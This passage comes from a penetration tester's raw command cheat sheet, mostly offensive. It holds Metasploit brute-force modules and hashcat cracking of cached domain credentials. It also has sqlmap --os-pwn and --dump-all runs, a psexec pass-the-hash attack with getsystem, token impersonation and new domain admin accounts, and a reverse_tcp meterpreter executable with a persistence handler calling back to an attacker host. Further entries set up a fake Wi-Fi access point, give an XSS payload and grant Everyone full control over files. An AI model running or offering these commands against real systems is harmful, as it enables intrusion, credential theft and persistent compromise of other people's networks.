585auxiliary/scanner/smb/smb_enumusers
586auxiliary/scanner/smb/smb_login
587auxiliary/scanner/smb/smb_enumshares
588auxiliary/scanner/nfs/nfsmount
589auxiliary/scanner/vnc/vnc_login
590auxiliary/scanner/vnc/vnc_none_auth
591auxiliary/scanner/pop3/pop3_version
592auxiliary/scanner/pop3/pop3_login
593auxiliary/scanner/http/http_login
594auxiliary/scanner/http/dir_scanner
595auxiliary/scanner/http/dir_scanner
596auxiliary/scanner/http/http_version
597auxiliary/scanner/http/robots_txt
598auxiliary/scanner/http/apache_userdir_enum
599auxiliary/scanner/http/blind_sql_query
600auxiliary/scanner/http/cisco_ios_auth_bypass
601auxiliary/scanner/http/error_sql_injection
602auxiliary/scanner/http/files_dir
603auxiliary/scanner/http/jboss_vulnscan
604auxiliary/scanner/http/web_vulndb
605auxiliary/scanner/ssh/ssh_login
606auxiliary/scanner/ssh/ssh_login_pubkey
607auxiliary/scanner/ssh/ssh_version
608auxiliary/scanner/sip/enumerator
609auxiliary/scanner/sip/enumerator_tcp
610auxiliary/scanner/sip/sipdroid_ext_enum
611
612# grep password words in a file and shot 4 lines before and after grep images AIX images
613egrep -A 4 -B 4 -ia '(passwd|password|shadow)' someAIX_NIM_DUMP.image.110512 > out.txt
614# perform strings on the output so we can read it ..
615strings out.txt > out2.txt
616
617
618# Oracle 7-10g DES(ORACLE) Oclhashcat_plus GPU
619# input : F35C90763516369B:DEV_MDS
620cudaHashcat-plus64.exe --hash-type 3100 C:\egb\ocl\ORACLE.txt C:\egb\Dictionaries\PasswordsPro.dic C:\egb\Dictionaries\Xploitz_clean.lst
621
622#oracle dump ref defcon-17-chris_gates-breaking_metasploit.pdf and win32exec.rb in MSF
623select owner, table_name, column_name,data_type,data_length, data_precision,data_default, avg_col_len, char_length from sys.dba_tab_columns where owner not in ('APPQOSSYS','ADUSER','CTXSYS','DIP','DBSNMP','MDSYS','OUTLN','SYS','SYSTEM','TEST','XDB','WMSYS','XSNULL') AND avg_col_len>0
624
625# oracle
626nmap -n --script=oracle-sid-brute -p 1521-1560 -iL oracle -A
627
628# mount smb share with runas/savecred ... yes this is bad idea!
629runas /u:admin /savecred "net use Z: \\192.168.1.151\myth\h /del"
630runas /u:admin /savecred "net use \\192.168.1.151\myth\h /del"
631runas /u:admin /savecred "net use z: \\192.168.1.151\myth\h /user:mythtv PASSSWORDHERE"
632
633
634
635
636Use takeown to take ownership of the file
637takeown /r /d y /f *
638Follow it up with icacls set the access control list
639icacls * /t /grant Everyone:F
640
641
642#So it appears Google translator blocks English to English translating ( aka super fast web proxy ). So guess what ? Just change the source language it to valid English language code like en-au
643
644http://translate.google.com/translate?sl=af&tl=en-au&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Frmccurdy.com
645
646
647
648#gawk awk system exec commands with output of awk
649/rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html https:\/\/"$1":"$2 )}' 2>&1 &
650/rmccurdy/scripts/web_dump.sh:echo $i|sed 's/,/ /g' | gawk '{system ("curl -k --location-trusted -m 3 -L -o " $1"_"$2".html http:\/\/"$1":"$2 )}' 2>&1 &
651
652# filename= in header
653curl -O -J -L URL
654
655
656#Nmap Idle Scanning.
657use auxiliary/scanner/ip/ipidseq
658nmap 192.168.1.250 -top-ports 9 -D RND:120 -T4 -ff
659
660# wmic fu search systems for running 'exe' to hijack
661FOR /F "delims==" %%A IN ('type ips.txt') DO wmic /Node:%%A wmic /user:username /password:yourpassword /FAILFAST:ON process where "name like '%.exe'" call getowner
662
663
664Netsess.exe .h
665
666FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
667FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
668
669FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
670FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process
671
672on %i && pause
673
674for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in
675
676(admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
677
678for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in
679
680(admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
681
682
683#uwall.tv direct link
684http://uwall.tv/player_lightbox.php?q=gangnam%20style
685
686# cat /bin/RAND
687IFS=$'\n'
688
689for fname in `find . -type f `
690do
691 mv "$fname" $RANDOM$RANDOM
692done
693
694
695
696# burp in win7 etc ..
697run as administrator
698Solution was to add the "-Djava.net.preferIPv4Stack=true" flag, so the following entry in my .bat file works now:
699
700# John the Ripper Password Cracker (Fast Mode)
701# see also :
702#
703# auxiliary/analyze/jtr_aix
704# auxiliary/analyze/jtr_linux
705# auxiliary/analyze/jtr_mssql_fast
706# auxiliary/analyze/jtr_mysql_fast
707# auxiliary/analyze/jtr_oracle_fast
708# auxiliary/analyze/jtr_unshadow
709# auxiliary/analyze/postgres_md5_crack
710
711
712use auxiliary/analyze/jtr_crack_fast
713set Munge 0
714run# got new ebooks with roubble \n\n or \r\r
715For converting double newlines (\n\n) to a single newline (\n):
716sed -e 'N;P;s/\n$//;D'
717
718For converting double carriage returns (\r\r) to a single carriage
719return (\r):
720sed -e 's/\r\r/\r/g'
721
722tr(1) has the -s option, but that will squeeze multiple (possibly more
723than two) occurrences to a single occurrence.
724
725This can also be handled in the more general case with perl(1), e.g.:
726perl -pe '
727BEGIN {$/="\n\n";}
728s/\n\n/\n/o;
729
730john 1337 speak worlist gen:
731
732
733
734The default john.conf includes some rules like that, enabled for "single crack" mode only by default. You may copy the lines between these two comments:
735# The following 3l33t rules are based on original Crack's dicts.rules
736l/asa4[:c]
737l/ese3[:c]
738l/lsl1[:c]
739l/oso0[:c]
740l/sss$[:c]
741...
742l/asa4/ese3/lsl1/oso0/sss$[:c]
743# Now to the prefix stuff...
744into the [List.Rules:Wordlist] section to have them enabled for wordlist mode as well. usage: john -w=wordlist --stdout --rules
745
746
747# slow this or run it over proxychains etc ..
748for i in `cat in` ;do python metagoofil.py -d $i -l 100 -f all -o micro_$i.html -t micro-files_$i;sleep 60;done
749for i in `cat in` ;do ./theHarvester.py -d $i -b google;sleep 60;done
750
751
752# hybrid mask attack hashcat not all special characters
753?u?l?d!@#$-().*_
754
755# grep 8 or more char long characterslength
756grep '[^\ ]\{8,\}'
757# sed 8 chars long characters long length
758sed -n -e '/^.\{8\}$/p''
759
760
761# fix path Environment Variables path issues in M$
762sysdm.cpl
763C:\Program Files\w3af;C:\Program Files;C:\winxp;C:\winxp\System32;c:\program files\nmap;C:\Program Files\RSA SecurID Token Common;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Strawberry\c\bin;C:\Strawberry\perl\site\bin;C:\Strawberry\perl\bin
764
765
766# nmap SMB check unsafe
767nmap --script smb-check-vulns.nse --script-args=unsafe=1 -p445 192.168.1.0/24 --open
768
769# openvas cioent
770# Update your distro
771apt-get update && apt-get dist-upgrade
772
773# Install openvas server and client software + security plugins
774apt-get install openvas-server openvas-client \
775 openvas-plugins-base openvas-plugins-dfsg
776
777# Update the vuln. database
778openvas-nvt-sync
779
780Add a user that you're going to use from the client, to login:
781
782openvas-adduser
783
784Here, you'll add a user/pass combination.
785
786When prompted to add a 'rule' - I allow my user to do everything. The rules allow/disallow scanning of hosts. If you want you can let bob scan 192.168.0.0/24 or whatever. I want my user to scan all, so when prompted, simply enter
787
788default accept
789
790Now, fire up the server. Note that the first time you run, it loads all those checks into memory so it takes a LONG time for the server to actually start.
791
792/etc/init.d/openvas-server start
793
794Now, you can start scanning. Create a file with IP's and/or hostnames that your client will feed to the server to scan. Something like this:
795
796192.168.1.5
797www.mydomain.com
798dns.mydomain.com
79910.1.19.0/24
800
801etc.
802
803The server listens on port: 9390 by default so you'll want to tell your client to connect there. Once you have the file created, you can kick off your scan like this:
804
805OpenVAS-Client -q 127.0.0.1 9390 admin scanme.txt -T html \
806 ~/Desktop/openvas-output-`date`.html
807
808You'll be prompted to accept the SSL certificate, go ahead, it's automagically created by the pkg when it's installed. Then, open that file in a browser when it's done and start going through it. Be warned, scanning is very hostile so you should really only scan your own systems.. and those of your enemies.
809
810
811# sqlmap notes .. also check out Havij 1.15 - Advanced SQL Injection
812
813--wizard
814--search -C pass,pwd,ssn
815
816
817/pentest/database/sqlmap/sqlmap.py -u "https://tZZZZZZ.com/ZZZZZ/Default.aspx" --data="__VIEWSTATE=%ZZZZZZZZ&btnContinue=Continue" --os-pwn --msf-path /pentest/exploits/framework
818
819/pentest/database/sqlmap/sqlmap.py -u "http://ZZZZ4/forgotpass.aspx" --data="__VIEWSTATE=%2FZZZZZZ&email=a&submit=Password" --dump-all --exclude-sysdbs
820
821
822#oclHashcat plus Support List :
823
824# scripts !
825http://itsecblog.net/downloads/batchcrack.sh
826http://rmccurdy.com/scripts/batchcrack_rmccurdy.bat
827
828number PSA hashcat (0.39b24) oclHashcat-plus (0.08b25) oclHashcat-lite (0.10b9)
8290 MD5 x x x
8301 *md5($pass.$salt) (see 11) x
8312 *md5($salt.$pass) (see 21) x
8323 *md5(md5($pass)) (see 2600) x
8334 *md5(md5(md5($pass))) x
8345 *vBulletin < v3.8.5 (see 2611) x
8356 *md5(md5($salt).$pass) (see 2811) x
8367 *md5($salt.md5($pass)) x
8378 *md5($salt.$pass.$salt) x
8389 *md5(md5($salt).md5($pass)) x
83910 *md5(md5($pass).md5($salt)) x x
84011 *md5($salt.md5($salt.$pass)) x
84111 Joomla x x
84212 *md5($salt.md5($pass.$salt)) x
84315 *vBulletin > v3.8.5 (see 2711) x
84421 osCommerce, xt:Commerce x
84530 *md5($username.0.$pass) x
84631 *md5(strtoupper(md5($pass))) x
847100 SHA1 x x x
848101 nsldap, SHA-1(Base64), Netscape LDAP SHA x x
849101 *sha1($pass.$salt) x
850102 *sha1($salt.$pass) x
851103 *sha1(sha1($pass)) x
852104 *sha1(sha1(sha1($pass))) x
853105 *sha1(strtolower($username).$pass) (see 121) x
854110 *sha1($pass.$salt) x
855111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA x x
856112 Oracle 11g x x
857121 SMF > v1.1 x
858122 OSX v10.4, v10.5, v10.6 x
859131 MSSQL(2000) x x
860132 MSSQL(2005) x x
861200 MySQL323 x
862300 MySQL >=4.1 x x x
863400 phpass, MD5(Wordpress), MD5(phpBB3) x x
864500 md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 x x
865600 *SHA-1(Base64) (see 101) x
866700 *SSHA-1(Base64) (see 111) x
867800 SHA-1(Django) x
868900 MD4 x x x
8691000 NTLM x x x
8701100 Domain Cached Credentials, mscash x x x
8711200 MD5(Chap) x
8721300 MSSQL x
8731400 SHA256 x x x
8741500 descrypt, DES(Unix), Traditional DES x x
8751600 md5apr1, MD5(APR), Apache MD5 x x
8761700 SHA512 x x
8771800 SHA-512(Unix) x
8781900 SL3 x
8792100 Domain Cached Credentials2, mscash2 x
8802400 Cisco-PIX MD5 x x
8812500 WPA/WPA2 x
8822600 Double MD5 x x
8832611 vBulletin < v3.8.5 x x
8842711 vBulletin > v3.8.5 x x
8852811 IPB2+, MyBB1.2+ x x
8863000 LM x x
887
888 *
889 * Depreached,
890
891
892Example :
893set BIN=oclHashcat-plus64
894set OPTS=--attack-mode 3 --gpu-accel 160 --gpu-loops 1024 --gpu-watchdog 0 --runtime 30 --force --custom-charset1 ?l?d?s?u
895
896%BIN% %OPTS% --hash-type 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
897%BIN% %OPTS% --hash-type 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
898%BIN% %OPTS% --hash-type 21 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aa ?1?1?1?1?1?1?1?1
899%BIN% %OPTS% --hash-type 100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
900%BIN% %OPTS% --hash-type 101 {SHA}aaaaaaaaaaaaaaaaaaaaaaaaaaQ= ?1?1?1?1?1?1?1?1
901%BIN% %OPTS% --hash-type 111 {SSHA}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ== ?1?1?1?1?1?1?1?1
902%BIN% %OPTS% --hash-type 112 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaa ?1?1?1?1?1?1?1?1
903%BIN% %OPTS% --hash-type 121 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
904%BIN% %OPTS% --hash-type 122 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
905%BIN% %OPTS% --hash-type 131 0x0100aaaaaaaa0000000000000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
906%BIN% %OPTS% --hash-type 132 0x0100aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
907%BIN% %OPTS% --hash-type 300 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
908%BIN% %OPTS% --hash-type 400 $H$9aaaaaaaaaaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1
909%BIN% %OPTS% --hash-type 500 $1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
910%BIN% %OPTS% --hash-type 900 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
911%BIN% %OPTS% --hash-type 1000 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
912%BIN% %OPTS% --hash-type 1100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
913%BIN% %OPTS% --hash-type 1400 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
914%BIN% %OPTS% --hash-type 1500 aaaaaaaaaaaaw ?1?1?1?1?1?1?1?1 --gpu-accel 80
915%BIN% %OPTS% --hash-type 1600 $apr1$aaaaaaaa$aaaaaaaaaaaaaaaaaaaaa1 ?1?1?1?1?1?1?1?1 --gpu-loops 1000
916%BIN% %OPTS% --hash-type 2100 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:a ?1?1?1?1?1?1?1?1
917%BIN% %OPTS% --hash-type 2400 aaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
918%BIN% %OPTS% --hash-type 2500 test.hccap ?1?1?1?1?1?1?1?1
919%BIN% %OPTS% --hash-type 2611 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaa ?1?1?1?1?1?1?1?1
920%BIN% %OPTS% --hash-type 2711 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ?1?1?1?1?1?1?1?1
921%BIN% %OPTS% --hash-type 2811 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaa ?1?1?1?1?1?1?1?1
922sq
923
924# ocl hashcat plus examples:
925
926
927
928all Rule based attack:
929FOR /F "delims==" %%A IN ('DIR/B/S ".\rules\"') DO cudaHashcat-plus32.exe -a 0 -r "%%A" -m1100 -o out.txt "mscache2" "C:\egb\Dictionaries\rockyou.txt"
930
931
932
933
934
935rem example brute by char to 7 max chars in ~5min with GTX 560 example hash '2d9f0b052932ad18b87f315641921cda:user' password is password ...
936cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1
937cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1
938cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1
939cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1
940cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1
941cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1
942
943
944rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars
945cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1"
946cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1"
947cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"
948
949
950rem same as above with 1337 speek wordlist+MASK to 4 chars
951cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1"
952cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1"
953cudaHashcat-plus32.exe -o out.txt -a6 -1 "?l?u?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"
954
955rem example Hybrid attack rockyou.txt wordlist+MASK to 4 chars digi and some special chars only ...
956cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\rockyou.txt" "?1?1?1"
957
958rem example Hybrid attack 1337 speekt wordlist+MASK to 4 chars digi and some special chars only ...
959cudaHashcat-plus32.exe -o out.txt -a6 -1 "?d!@#$-().*_" -m1100 "mscache2" "C:\egb\Dictionaries\1337_speak.txt" "?1?1?1"
960
961
962
963
964rem dammit I give up ... 6hrs .. for 7char brute
965cudaHashcat-plus32.exe -o out.txt -a3 -1 "?l?u?d!@#$-().*_" -m1100 mscache2 ?1?1?1?1?1?1?1
966
967
968REM really !?!? example 8 char brute ( 18 days on GTX 560 )
969cudaHashcat-plus32.exe -o out.txt -a3 -1 ?l?u?d!@#$-().*_ -m1100 mscache2 ?1?1?1?1?1?1?1?1
970
971
972
973# more examples hashes cracked john
974
975user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal
976Service currently active. Stopping service...
977Service successfully removed.
978
979John Plugin:
980$ ./john -format:mscash ./mscash.txt
981Loaded 1 password hash (M$ Cache Hash [mscash])
982password (user
983
984
985
986# set power profile via command line
987
988Powercfg.exe /SETACTIVE "Always On"
989Powercfg.exe /SETACTIVE "Max Battery"
990
991#Remove the .NET Credentials (Stored User names and Passwords)
992Control keymgr.dll
993
994
995# convert amr to mp3
996ffmpeg -i file.amr -vn -acodec libmp3lame -ac 2 -ab 96k file.mp3
997FOR /F "delims==" %%A IN ('DIR/B "*.amr"') DO ffmpeg -i %%A -vn -acodec libmp3lame -ac 2 -ab 96k %%A.mp3
998
999
1000#windows saved passwords
1001rundll32.exe keymgr.dll, KRShowKeyMgr
1002
1003# check for mod date range
1004find / -type f -newermt 2011-10-01 ! -newermt 2012-04-30
1005
1006# openvas on 11.10
1007take src out of the sources.list
1008add --http-only to the /etc/init.d/greenbone-security-assistant startup script
1009
1010# mass set path
1011export PATH=$PATH:`find /usr/lib/ruby/1.9.1 -type d | sed 's/$/:/g' | tr -d '\n'`
1012
1013
1014
1015# top web ports ports
101680-83,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8080,808,8099,8100-8105,8443,8888,8900,9999,10000
1017
1018# more web ports
101910080,10100,10243,10250,10251,1027,1029,1030,1032,10439,10444,11267,1183,1184,11869,11905,11910,11935,1208,13080,1416,14176,14654,16000,16080,16372,17012,18083,1818,18180,1830,1831,19000,19082,19091,19101,1947,1972,19740,2002,2030,20444,2130,2140,21988,2301,2316,2381,2414,2424,24305,2480,2523,25684,25825,2693,27775,280,28080,2851,2869,30444,30900,31458,31459,3201,3227,32843,3339,34988,35135,35145,3526,3617,3790,37922,3842,3914,3938,4036,4053,41647,4220,4239,4343,443,45000,4680,47001,4723,48018,4848,4864,49152,49157,50000,50001,50038,51785,51905,51908,5225,53001,5357,5440,5447,5449,5469,54850,5500,5501,554,5554,55885,56414,56737,57423,57772,57773,5800,5801,591,593,5985,5989,60000,6001,6002,6003,6004,60213,61000,6107,6108,6113,6114,6160,6161,631,6325,6453,6454,65084,65093,6842,7001,7002,7003,7070,7099,7126,7191,7359,7453,7454,7717,7751,80,8000,8001,8002,8003,8004,8008,8020,8070,8071,8077,8080,8081,8082,8083,8085,8086,8087,8088,8090,8093,8094,8095,8099,81,8107,8113,8114,8115,8118,8120,8123,8126,8133,8135,8138,815,8150,8151,8180,82,8200,8222,8260,8300,8323,8333,84,8444,85,8530,8533,86,8660,8666,8701,8703,8732,8733,8740,8878,8880,8888,8889,8900,90,9000,9001,9002,9005,9006,9073,9080,9081,9084,9086,9087,9090,9091,9191,9300,9310,9444,9501,9510,9595,9642,9675,9676,9797,9823,9887
1020
1021#sap ports
102232000,33000,34000,36000,47000,48000,21-23,25,21-23,25,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,80-83,53,110,135,139,445,3128,1433,1521,3306,3389,5900,6001,8080,8888,99,100,443,631,800,1000,1739,2002,2301,2381,3000,5800,5988,5989,8000-8015,8080-8083,8099,8100-8105,8443,8888,8900,9999,10000
1023
1024# common proxy ports
102580,81,82,83,84,85,86,443,808,3128,6515,6666,8000,8001,8008,8080,8081,8088,8090,8118,8181,8888,8909,9000,9090,54321
1026
1027
1028
1029
1030
1031# Search office documents for PII
1032# CC with SSN no dash ( high false positive )
1033find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b|\b[0-9]{9}\b"
1034
1035# CC with SSN dash ( low false positive only match ###-##-#### not any 8digi number )
1036find . -iname "*.???x" -type f -exec unzip -p '{}' '*' \; | sed -e 's/<[^>]\{1,\}>/ /g; s/[^[:print:]]\{1,\}/ /g' | egrep "\b4[0-9]{12}(?:[0-9]{3})?\b|\b5[1-5][0-9]{14}\b|\b6011[0-9]{14}\b|\b3(?:0[0-5]\b|\b[68][0-9])[0-9]{11}\b|\b3[47][0-9]{13}\b|\b[0-9]{3}-[0-9]{2}-[0-9]{4}\b"
1037
1038
1039
1040
1041# nslookup to CSV
1042for i in `cat FULL` ;do echo "IP$i";nslookup $i|grep 'name ='|sed 's/.*name = /,/g'|sed 's/\.$//g';done| tr -d '\n' | awk '{gsub("IP","\n"); print}'
1043
1044
1045# my-ip-neighbors lookup
1046# 200 at a time .. you need to change the -x to a proxy that works .. rmccurdy.com/scripts/proxy/good.txt
1047# test google before you start ..
1048# curl -x 184.171.175.14:808 http://google.com etc ..
1049
1050
1051for i in `cat FULL`;do echo curl -x 184.171.175.14:808 "\""http://www.my-ip-neighbors.com/?domain=$i"\"";done > go
1052bash -x go > out
1053
1054# grep the output for all the goodies and make it nice CSV
1055egrep "(\"http:\/\/whois\.domaintools\.com|domain\" value=\")" out | sed 's/.*domain\" value=\"/IP /g' | sed 's/\"\/>.*//g' | sed 's/.*domaintools.com\//,/g' | sed 's/" t.*//g' | tr -d '\n' | awk '{gsub("IP","\n"); print}'
1056
1057
1058
1059
1060
1061# block port 80 throttle
1062iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 4 -j REJECT
1063
1064
1065
1066# CURL HTTPS
1067for i in `cat check`;do echo curl -L -k --location-trusted -m 3 -L -o $i.htm "\""https://$i"\"";done > https
1068
1069
1070# airbase/karma.rc setup
1071
1072
1073--------------------
1074
1075gogogo
1076----------------
1077
1078# change eth1 to internet interface
1079iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
1080iptables --append FORWARD --in-interface at0 -j ACCEPT
1081echo 1 > /proc/sys/net/ipv4/ip_forward
1082
1083
1084# kill stuff the will cause issues ..
1085killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
1086
1087# start MSF karma.rc script logs are screenlog.0 etc ..
1088xterm -e "screen -L /pentest/exploits/framework/msfconsole -r /stuff/karma.rc" &
1089
1090# takes a wile to startup .. lets wait we need it all ready to work before people connect to it so we dont miss packets !!!
1091
1092echo "waiting for MSF karma to start .. 50sec"
1093sleep 20
1094
1095# monitor mode change wlan1 to your wifi
1096airmon-ng start wlan1
1097
1098sleep 5
1099
1100# setup fake AP
1101xterm -e "airbase-ng -c 6 -P mon0 -v" &
1102
1103sleep 5
1104
1105ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
1106
1107# setup DHCP server
1108xterm -e "dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0" &
1109
1110# DEBUG DHCP to see DHCP request hits xterm -e "tcpdump -i at0 -n port 67 and port 68" &
1111
1112
1113------------------
1114
1115
1116
1117
1118# XSS
1119>"'><script>alert('XSS')</script>
1120# add full read write read/write full R/W on registry key
1121SetACL.exe -on "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies" -ot reg -actn ace -ace "n:MyDomain\JohnDoe;p:full"
1122# add -P0 for no ping
1123/usr/bin/screen -fa -d -m nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.30.0.0/16 -oA /home/administrator/rmccurdy/192.30.0.0_fast_ping
1124# msf metasploit use login to get msfshell for pivot/token
1125use exploit/windows/smb/psexec
1126
1127set RHOST 192.168.64.123
1128set SMBUser adminit
1129set SMBPass password
1130# also set HASHES !! set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
1131
1132exploit
1133
1134getuid
1135use priv
1136getsystem
1137use incognito
1138list_tokens -u
1139add_group_user "Domain Admins"
1140impersonate_token "DOMAIN\\user"
1141# add user and give it local admin
1142net user test PASSWORDHERE /add
1143net localgroup administrators test /add
1144
1145# add user to domain and makt it domain admin
1146net user /add USERNAME STRONGPASSWORD /domain
1147net group /add "domain admins" USERNAME /domain
1148
1149---------------------------
1150# make exe
1151./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
1152
1153# attacker listen
1154use exploit/multi/handler
1155set PAYLOAD windows/meterpreter/reverse_tcp
1156set LHOST 192.168.6.55
1157set LPORT 443
1158set ExitOnSession false
1159# set AutoRunScript pathto script you want to autorun after exploit is run
1160set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
1161
1162exploit -j -z
1163
1164
1165# armatage DONT USE THIS JUIST USE BIN INSTALL FROM WEBSITE .. INCLUDES FULL AND POSTGRES BINS
1166apt-get install mysql-server -y
1167/etc/init.d/mysql start
1168
1169mysqladmin -u root -ppassword password toor
1170/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
1171
1172# armatage DONT USE THIS METHOD USE THE BIN FROM WEBSITE IT HAS ITS OWN POSTGRES
1173
1174apt-get install -y postgresql
1175
1176apt-get install libpq-dev -y
1177
1178gem install postgres
1179
1180/etc/init.d/postgresql start
1181su -
1182su - postgres
1183
1184
1185createuser msf_user -P
1186createdb --owner=msf_user msf
1187
1188/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
1189/pentest/exploits/framework/armitage
1190
1191
1192 ----
1193
1194
1195# ssh
1196use auxiliary/scanner/ssh/ssh_login
1197
1198#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
1199set RHOSTS 192.59.139.135 192.59.139.136 192.59.139.140 192.116.61.25 192.116.61.26 192.116.61.34
1200# also set RHOSTS file://bla
1201# set USER_FILE "C:/backup/wordlist/password_large.txt"
1202set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
1203set VERBOSE true
1204set STOP_ON_SUCCESS true
1205set BRUTEFORCE_SPEED 5
1206# set this to the number of host
1207set THREADS 6
1208
1209run
1210
1211use auxiliary/gather/dns_enum
1212set DOMAIN domain.com
1213run
1214#smb
1215
1216use auxiliary/scanner/smb/smb_login
1217
1218set RHOSTS file://192.168.8.39
1219set RHOSTS 127.0.0.1
1220
1221set USER_FILE "C:/wordlist/users.txt"
1222set PASS_FILE "C:/wordlist/2.txt"
1223set VERBOSE false
1224# set to number of host scanning .
1225set THREADS 16
1226
1227set STOP_ON_SUCCESS true
1228set VERBOSE false
1229 Name Value
1230 ---- -----
1231 BLANK_PASSWORDS false
1232 BRUTEFORCE_SPEED 5
1233 ConnectTimeout 10
1234 DCERPC::ReadTimeout 10
